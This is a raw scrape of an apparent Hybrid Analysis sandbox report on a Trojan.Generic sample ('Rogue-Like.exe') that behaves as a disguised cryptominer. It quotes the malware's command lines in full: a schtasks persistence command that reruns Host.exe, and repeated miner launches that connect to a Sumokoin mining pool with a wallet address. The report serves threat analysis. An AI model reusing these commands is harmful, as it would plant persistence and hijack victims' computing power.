23:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 35:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 22:T490,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 775823294439… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 775823294439…. Malware family: Trojan.Generic. Threat score 100/100. 0/0 AV engines flagged this file. 13 malicious and 27 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/775823294439f2c459d1b13dde03091ba79221d2cd9956039b47dfe51832924a","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","775823294439f2c459d1b13dde03091ba79221d2cd9956039b47dfe51832924a"],"about":{"@type":"SoftwareApplication","name":"Rogue-Like.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"775823294439f2c459d1b13dde03091ba79221d2cd9956039b47dfe51832924a","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":0,"total":0},"behavioralIndicators":{"malicious":13,"suspicious":27},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}24:T840,Found API call GetLocalTime@KERNEL32.dll (Target: "775823294439f2c459d1b13dde03091ba79221d2cd9956039b47dfe51832924a.exe.bin"; Stream UID: "7898-1122-00000001400756D4") which is directly followed by "cmp dword ptr [rbx], edi" and "je 0000000140075880h". See related instructions: "...+0 mov rax, rsp+1 mov eax, esp+3 mov qword ptr [rax+08h], rbx+4 mov dword ptr [rax+08h], ebx+7 mov qword ptr [rax+10h], rsi+8 mov dword ptr [rax+10h], esi+11 mov qword ptr [rax+18h], rdi+12 mov dword ptr [rax+18h], edi+15 mov qword ptr [rax+20h], r12+16 mov dword ptr [rax+20h], esp+19 push rbp+20 push r14+21 push rsi+22 push r15+23 push rdi+24 mov rbp, rsp+25 mov ebp, esp+27 sub rsp, 30h+28 sub esp, 30h+31 mov rbx, rcx+32 mov ebx, ecx+34 mov rcx, rdx+35 mov ecx, edx+37 movsxd rsi, r9+38 movsxd esi, ecx+40 mov r14L, r8L+41 mov dh, al+43 mov rdi, rdx+44 mov edi, edx+46 call qword ptr [00000001400AA4A0h] ;GetLocalTime+52 xor r15d, r15d+53 xor edi, edi+55 cmp word ptr [rbx], r15w+57 cmp dword ptr [rbx], edi+59 je 0000000140075880h" ... at 7898-1122-00000001400756D4 Found API call GetLocalTime@KERNEL32.DLL (Target: "775823294439f2c459d1b13dde03091ba79221d2cd9956039b47dfe51832924a.exe"; Stream UID: "00010551-00003060-8095-2183-3F1656D4") which is directly followed by "cmp dword ptr [rbx], edi" and "je 3F165880h". See related instructions: "...+0 mov rax, rsp+1 mov eax, esp+3 mov qword ptr [rax+08h], rbx+4 mov dword ptr [rax+08h], ebx+7 mov qword ptr [rax+10h], rsi+8 mov dword ptr [rax+10h], esi+11 mov qword ptr [rax+18h], rdi+12 mov dword ptr [rax+18h], edi+15 mov qword ptr [rax+20h], r12+16 mov dword ptr [rax+20h], esp+19 push rbp+20 push r14+21 push rsi+22 push r15+23 push rdi+24 mov rbp, rsp+25 mov ebp, esp+27 sub rsp, 30h+28 sub esp, 30h+31 mov rbx, rcx+32 mov ebx, ecx+34 mov rcx, rdx+35 mov ecx, edx+37 movsxd rsi, r9+38 movsxd esi, ecx+40 mov r14L, r8L+41 mov dh, al+43 mov rdi, rdx+44 mov edi, edx+46 call qword ptr [000000003F19A4A0h] ;GetLocalTime+52 xor r15d, r15d+53 xor edi, edi+55 cmp word ptr [rbx], r15w+57 cmp dword ptr [rbx], edi+59 je 3F165880h" ... at 00010551-00003060-8095-2183-3F1656D425:T4f4,GetProcessHeap@KERNEL32.dll at 7898-2687-0000000140065544 GetProcessHeap@KERNEL32.dll at 7898-2691-00000001400660B0 GetProcessHeap@KERNEL32.dll at 7898-1903-00000001400303C8 GetProcessHeap@KERNEL32.dll at 7898-2690-000000014006556C GetProcessHeap@KERNEL32.dll at 7898-2694-00000001400656E4 GetProcessHeap@KERNEL32.dll at 7898-2685-0000000140065491 GetProcessHeap@KERNEL32.dll at 7898-2683-00000001400653E9 GetProcessHeap@KERNEL32.dll at 7898-2698-0000000140065FD0 GetProcessHeap@KERNEL32.dll at 7898-2693-000000014006551C GetProcessHeap@KERNEL32.dll at 7898-1586-000000014003FCC4 GetProcessHeap@KERNEL32.dll at 7898-2718-0000000140065D20 GetProcessHeap@KERNEL32.DLL at 00010551-00003060-16349-538-3F12FCC4 GetProcessHeap@KERNEL32.DLL at 00010551-00003060-16349-650-3F1203C8 GetProcessHeap@KERNEL32.DLL at 00010551-00003060-8095-3528-3F1553E9 GetProcessHeap@KERNEL32.DLL at 00010551-00003060-8095-3563-3F155D20 GetProcessHeap@KERNEL32.DLL at 00010551-00003060-8095-3532-3F155544 GetProcessHeap@KERNEL32.DLL at 00010551-00003060-8095-3530-3F155491 GetProcessHeap@KERNEL32.DLL at 00010551-00003060-8095-3535-3F15556C GetProcessHeap@KERNEL32.DLL at 00010551-00003060-8095-3543-3F155FD0 GetProcessHeap@KERNEL32.DLL at 00010551-00003060-8095-3536-3F1560B026:T771,"Host.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "Host.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "Host.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "Host.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "Host.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "Host.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "Host.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "Host.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "Host.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "Host.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "Host.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "Host.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "Host.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "Host.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "Host.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "Host.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "Host.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "Host.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "Host.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "Host.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "")27:T837,"Host.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "") "Host.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "Host.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "Host.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "Host.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\1FB86B1168EC743154062E8C9CC5B171A4B7CCB4"; Key: "BLOB") "Host.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "Host.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "Host.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "Host.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB") "Host.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\902EF2DEEB3C5B13EA4C3D5193629309E231AE55"; Key: "BLOB") "Host.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\C86EDBC71AB05078F61ACDF3D8DC5DB61EB75FB6"; Key: "BLOB") "Host.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\E3FC0AD84F2F5A83ED6F86F567F8B14B40DCBF12"; Key: "BLOB") "Host.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\EAB040689A0D805B5D6FD654FC168CFF00B78BE3"; Key: "BLOB") "Host.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\F5AD0BCC1AD56CD150725B1C866C30AD92EF21B0"; Key: "BLOB") "Host.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FF67367C5CD4DE4AE18BCCE1D70FDABD7C866135"; Key: "BLOB") "Host.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "Host.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "Host.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "")28:Ta1a,Process "cmd.exe" (UID: 00013095-00001332) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "cmd.exe" (UID: 00013095-00001332) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "Host.exe" (UID: 00013107-00002908) was launched with new environment variables: "SESSIONNAME="Console"" Process "Host.exe" (UID: 00013107-00002908) was launched with modified environment variables: "Path" Process "Host.exe" (UID: 00013107-00002908) was launched with missing environment variables: "PROMPT" Process "MicrosoftShellHost.exe" (UID: 00013864-00001356) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00014450-00002224) was launched with missing environment variables: "PROMPT" Process "MicrosoftShellHost.exe" (UID: 00014474-00002184) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00015038-00002636) was launched with missing environment variables: "PROMPT" Process "MicrosoftShellHost.exe" (UID: 00015043-00002064) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00015626-00000788) was launched with missing environment variables: "PROMPT" Process "MicrosoftShellHost.exe" (UID: 00015631-00002552) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00016214-00002036) was launched with missing environment variables: "PROMPT" Process "MicrosoftShellHost.exe" (UID: 00016220-00000476) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00016803-00000812) was launched with missing environment variables: "PROMPT" Process "MicrosoftShellHost.exe" (UID: 00016809-00002852) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00017391-00001860) was launched with missing environment variables: "PROMPT" Process "MicrosoftShellHost.exe" (UID: 00017397-00002668) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00017980-00001392) was launched with missing environment variables: "PROMPT" Process "MicrosoftShellHost.exe" (UID: 00017985-00002536) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00018568-00003036) was launched with missing environment variables: "PROMPT" Process "MicrosoftShellHost.exe" (UID: 00018573-00002400) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00019156-00002436) was launched with missing environment variables: "PROMPT"29:T13b6,"/c SchTasks /create /SC MINUTE /TN MicrosoftServis /TR %TEMP%\Host.exe /MO 30" on 2018-1-13.21:18:25.155 "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" on 2018-1-13.21:19:56.709 "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" on 2018-1-13.21:20:05.983 "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" on 2018-1-13.21:20:54.881 "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" on 2018-1-13.21:21:03.884 "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" on 2018-1-13.21:21:52.893 "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" on 2018-1-13.21:22:01.913 "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" on 2018-1-13.21:22:50.919 "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" on 2018-1-13.21:22:59.931 "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" on 2018-1-13.21:23:08.936 "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" on 2018-1-13.21:23:57.949 "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" on 2018-1-13.21:24:06.959 "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" on 2018-1-13.21:24:55.970 "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" on 2018-1-13.21:25:05.069 "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" on 2018-1-13.21:25:14.084 "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" on 2018-1-13.21:25:23.095 "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" on 2018-1-13.21:25:32.110 "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" on 2018-1-13.21:25:41.127 "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" on 2018-1-13.21:25:50.139 "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" on 2018-1-13.21:25:59.1582a:T131e,Spawned process "cmd.exe" with commandline "/c SchTasks /create /SC MINUTE /TN MicrosoftServis /TR %TEMP%\Host.exe /MO 30" (UID: 00013095-00001332) Spawned process "schtasks.exe" with commandline "SchTasks /create /SC MINUTE /TN MicrosoftServis /TR %TEMP%\Host.exe /MO 30" (UID: 00013102-00000388) Spawned process "Host.exe" (UID: 00013107-00002908) Spawned process "ShellExperienceHost.exe" (UID: 00013426-00002464) Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" (UID: 00013847-00000660) Spawned process "MicrosoftShellHost.exe" with commandline "-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0" (UID: 00013864-00001356) Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" (UID: 00014450-00002224) Spawned process "MicrosoftShellHost.exe" with commandline "-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0" (UID: 00014474-00002184) Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" (UID: 00015038-00002636) Spawned process "MicrosoftShellHost.exe" with commandline "-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0" (UID: 00015043-00002064) Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" (UID: 00015626-00000788) Spawned process "MicrosoftShellHost.exe" with commandline "-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0" (UID: 00015631-00002552) Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" (UID: 00016214-00002036) Spawned process "MicrosoftShellHost.exe" with commandline "-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0" (UID: 00016220-00000476) Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" (UID: 00016803-00000812) Spawned process "MicrosoftShellHost.exe" with commandline "-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0" (UID: 00016809-00002852) Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" (UID: 00017391-00001860) Spawned process "MicrosoftShellHost.exe" with commandline "-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0" (UID: 00017397-00002668) Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" (UID: 00017980-00001392) Spawned process "MicrosoftShellHost.exe" with commandline "-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0" (UID: 00017985-00002536)2b:T671,"" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "" touched file "C:\Windows\System32\rsaenh.dll" "" touched file "C:\Users\FESPz9X\AppData\Local\Microsoft\Windows\Temporary Internet Files" "" touched file "C:\Users\FESPz9X\AppData\Roaming\Microsoft\Windows\Cookies" "" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\CP53U0VR\Host[1].txt" "" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files" "" touched file "%APPDATA%\Microsoft\Windows\Cookies" "" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\counters.dat" "" touched file "%LOCALAPPDATA%\Microsoft\Windows\History" "cmd.exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "schtasks.exe" touched file "C:\Windows\System32\en-US\schtasks.exe.mui" "schtasks.exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "Host.exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "Host.exe" touched file "C:\Windows\System32\en-US\msctf.dll.mui" "Host.exe" touched file "C:\Users\FESPz9X\AppData\Local\Microsoft\Windows\Temporary Internet Files" "Host.exe" touched file "C:\Users\FESPz9X\AppData\Roaming\Microsoft\Windows\Cookies" "Host.exe" touched file "C:\Windows\System32\rsaenh.dll" "Host.exe" touched file "C:\Users\FESPz9X\AppData\Local\Microsoft\Windows\History" "Host.exe" touched file "C:\Windows\Fonts\times.ttf" "Host.exe" touched file "C:\Windows\System32\en-US\KernelBase.dll.mui"2c:T825,Pattern match: "http://dmd.metaservices.microsoft.com/dms/metadata.svc" Pattern match: 